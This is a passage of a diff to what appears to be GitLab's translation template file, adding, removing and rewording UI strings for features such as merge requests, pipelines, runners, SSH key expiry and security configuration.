msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
